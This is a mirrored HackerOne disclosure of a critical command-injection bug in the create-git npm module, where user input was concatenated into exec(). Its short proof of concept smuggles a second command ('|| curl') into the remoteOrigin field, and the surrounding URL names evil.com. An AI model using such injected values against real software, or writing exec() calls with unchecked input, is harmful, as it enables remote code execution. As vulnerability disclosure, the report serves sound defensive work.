HexBrain

Node.js third-party modules · Report #694471

[create-git] RCE via insecure command formatting

Validstatus
criticalseverity
2upvotes
26 Oct 2020disclosed

Summary

The create-git NPM module was vulnerable against command injection which was possible since some user supplied inputs were concatenated without proper checks inside a exec() call, which made possible executing arbitrary commands besides the git one (which is used by the tool).

The PoC resulted in:

// poc.js const createGit = require('create-git')

createGit({  ignoreExisting: true,  initialCommitMessage: 'test',  remoteOrigin:
'http://evil.com || curl "http://localhost/RCE"', 
ignoreTemplates: ['Node.gitignore']  })

The vulnerability has been fixed checking the inputted data and using safe functions to execute commands, which replaced exec() occurrences.

How it was found

The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original